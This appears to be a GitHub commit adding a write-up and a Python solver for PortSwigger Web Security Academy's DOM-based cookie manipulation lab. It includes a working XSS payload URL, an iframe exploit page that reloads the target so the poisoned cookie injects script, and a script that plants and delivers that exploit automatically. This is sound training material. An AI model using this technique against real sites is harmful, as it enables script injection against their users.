Skip to content

Commit

Permalink
Add Lab: DOM-based cookie manipulation
Browse files Browse the repository at this point in the history
  • Loading branch information
frank-leitner committed Jun 17, 2022
1 parent 2663a34 commit 45a622c
Show file tree
Hide file tree
Showing 16 changed files with 175 additions and 2 deletions.
4 changes: 3 additions & 1 deletion .templates/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -24,4 +24,6 @@ As usual, the first step is to analyze the functionality of the lab application,

success

If you found this article helpful, please give it a clap. To get notified of more write-ups, follow me on [github](https://github.com/frank-leitner) or [medium.com](https://medium.com/@frank.leitner).
---

If you found this article helpful, please give it a clap. To get notified of more write-ups, follow me on [GitHub](https://github.com/frank-leitner) or [medium](https://medium.com/@frank.leitner).
Original file line number Diff line number Diff line change
@@ -0,0 +1,91 @@
# Write-up: DOM-based cookie manipulation @ PortSwigger Academy

![logo](img/logo.png)

This write-up for the lab *DOM-based cookie manipulation* is part of my walk-through series for [PortSwigger's Web Security Academy](https://portswigger.net/web-security).

Learning path: Client-side topics → DOM-based vulnerabilities

Lab-Link: <https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation>
Difficulty: PRACTITIONER
Python script: [script.py](script.py)

## Lab description

![lab_description](img/lab_description.png)

## Steps

### Analysis

As usual, the first step is to analyze the functionality of the lab application, in this case, a shop website. After I browse through the page, I go check the HTML sources. One interesting piece of HTML can be found on the product pages:

![vulnerable_script](img/vulnerable_script.png)

This script stores the current page by URL in the cookie

![cookie](img/cookie.png)

From this moment onwards, the requests are sent with that cookie and the page contains a `Last viewed product` link at the top:

![request_with_cookie](img/request_with_cookie.png)

![last_viewed_product_link](img/last_viewed_product_link.png)

First I test whether the application verifies that the target is within its own domain:

![cookie_any_target](img/cookie_any_target.png)

Next, I check if I can break out of the link and inject arbitrary HTML and JavaScript:

![injected_script](img/injected_script.png)

Sure enough, the cookie value can be used to execute arbitrary JavaScript in the scope of the page.

### The theory

The vulnerable script takes the raw input from `window.location` without any validation. Above, I verified that I can break out of the link context.

So I need to take a valid product URL and attach my payload in a way that the URL stays valid and produces a product page. For example, with an additional and completely fictional parameter:

```
https://0ae5007c0406e52ec028374700af0043.web-security-academy.net/product?productId=1&evil='><script>alert(document.domain)</script>
```

I test this URL in the browser and, sure enough, the `alert()` box shows up.

---
If I load that crafted URL in an iframe within a page I control, I can inject arbitrary JavaScript into the cookie. However, the initial display of the page just writes the cookie. It requires a reload to send the cookie to the server and include the JavaScript into the page.

It is unlikely that my victim is inclined to help me with this, therefore I need a way to automate this.

My initial thought was to use a script within my malicious page that sleeps for some milliseconds and then reloads the iframe. However, after searching a bit I found that sleep is not as trivial in JavaScript as it is in other languages I know.

But I found the documentation of [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/setTimeout) which does what I want, albeit in an asynchronous way:

![timeout](img/timeout.png)

### The malicious page

My malicious page loads the vulnerable product details page within an iframe, with my payload added as a URL parameter.

After a few milliseconds, the frame content gets redirected to the base URL of the shop, thus triggering the script.

```html
<iframe name="victim" id="victim"
src="https://0ae5007c0406e52ec028374700af0043.web-security-academy.net/product?productId=1&'><script>print()</script>"
></iframe>
<script>
setTimeout(() => { document.getElementsByName('victim')[0].src = "https://0ae5007c0406e52ec028374700af0043.web-security-academy.net"}, 500);
</script>
```

![malicious_page](img/malicious_page.png)

After delivering the exploit to the victim, the lab updates to

![success](img/success.png)

---

If you found this article helpful, please give it a clap. To get notified of more write-ups, follow me on [GitHub](https://github.com/frank-leitner) or [medium](https://medium.com/@frank.leitner).
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
#!/usr/bin/env python3
# DOM-based cookie manipulation
# Lab-Link: https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation
# Difficulty: PRACTITIONER
from bs4 import BeautifulSoup
import requests
import sys
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}


def find_exploitserver(text):
soup = BeautifulSoup(text, 'html.parser')
try:
result = soup.find('a', attrs={'id': 'exploit-link'})['href']
except TypeError:
return None
return result


def store_exploit(client, exploit_server, host):
data = {'urlIsHttps': 'on',
'responseFile': '/exploit',
'responseHead': '''HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8''',
'responseBody': '''
<iframe name="victim" id="victim"
src="''' + host + '''/product?productId=1&'><script>print()</script>"
></iframe>
<script>
setTimeout(() => { document.getElementsByName('victim')[0].src = "''' + host + '''"}, 500);
</script>
''',
'formAction': 'STORE'}

return client.post(exploit_server, data=data).status_code == 200


def main():
print('[+] DOM-based cookie manipulation')
try:
host = sys.argv[1].strip().rstrip('/')
except IndexError:
print(f'Usage: {sys.argv[0]} <HOST>')
print(f'Exampe: {sys.argv[0]} http://www.example.com')
sys.exit(-1)

with requests.Session() as client:
client.verify = False
client.proxies = proxies

exploit_server = find_exploitserver(client.get(host).text)
if exploit_server is None:
print(f'[-] Failed to find exploit server')
sys.exit(-2)
print(f'[+] Exploit server: {exploit_server}')

if not store_exploit(client, exploit_server, host):
print(f'[-] Failed to store exploit file')
sys.exit(-3)
print(f'[+] Stored exploit file')

if client.get(f'{exploit_server}/deliver-to-victim', allow_redirects=False).status_code != 302:
print(f'[-] Failed to deliver exploit to victim')
sys.exit(-4)
print(f'[+] Delivered exploit to victim')

# I had some times issues getting the proper result, so wait briefly before checking
time.sleep(2)
if 'Congratulations, you solved the lab!' not in client.get(f'{host}').text:
print(f'[-] Failed to solve lab')
sys.exit(-9)

print(f'[+] Lab solved')


if __name__ == "__main__":
main()
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,7 @@ So I create the scripts to learn about python and how to use it to interact with
| 12 | Cross-site request forgery (CSRF) | :heavy_check_mark: | 8/8 |
| 13 | Cross-origin resource sharing (CORS) || 3/4 |
| 14 | Clickjacking | :heavy_check_mark: | 5/5 |
| 15 | DOM-based vulnerabilities || 4/7 |
| 15 | DOM-based vulnerabilities || 5/7 |
| 16 | WebSockets | :heavy_check_mark: | 3/3 |
| | **Advanced topics** ||
| 17 | Insecure deserialization || 0/10 |
Expand Down

0 comments on commit 45a622c

Please sign in to comment.